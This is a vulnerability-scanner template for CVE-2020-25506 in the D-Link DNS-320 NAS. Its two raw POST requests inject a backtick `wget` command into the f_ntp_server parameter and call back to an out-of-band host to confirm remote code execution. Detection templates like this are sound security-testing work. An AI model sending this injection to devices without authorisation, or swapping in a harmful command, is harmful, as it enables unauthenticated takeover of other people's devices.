id: CVE-2020-25506

info:
  name: D-Link DNS-320 - Unauthenticated Remote Code Execution
  author: gy741
  severity: critical
  description: The exploit targets a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution.
  reference: |
    - https://gist.github.com/WinMin/6f63fd1ae95977e0e2d49bd4b5f00675
    - https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/
  tags: cve,cve2020,dlink,rce,oob

requests:
  - raw:
      - |
        POST /cgi-bin/system_mgr.cgi? HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: */*
        Connection: close

        C1=ON&cmd=cgi_ntp_time&f_ntp_server=`wget http://{{interactsh-url}}`

      - |
        POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`wget http://{{interactsh-url}}` HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: */*
        Connection: close

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"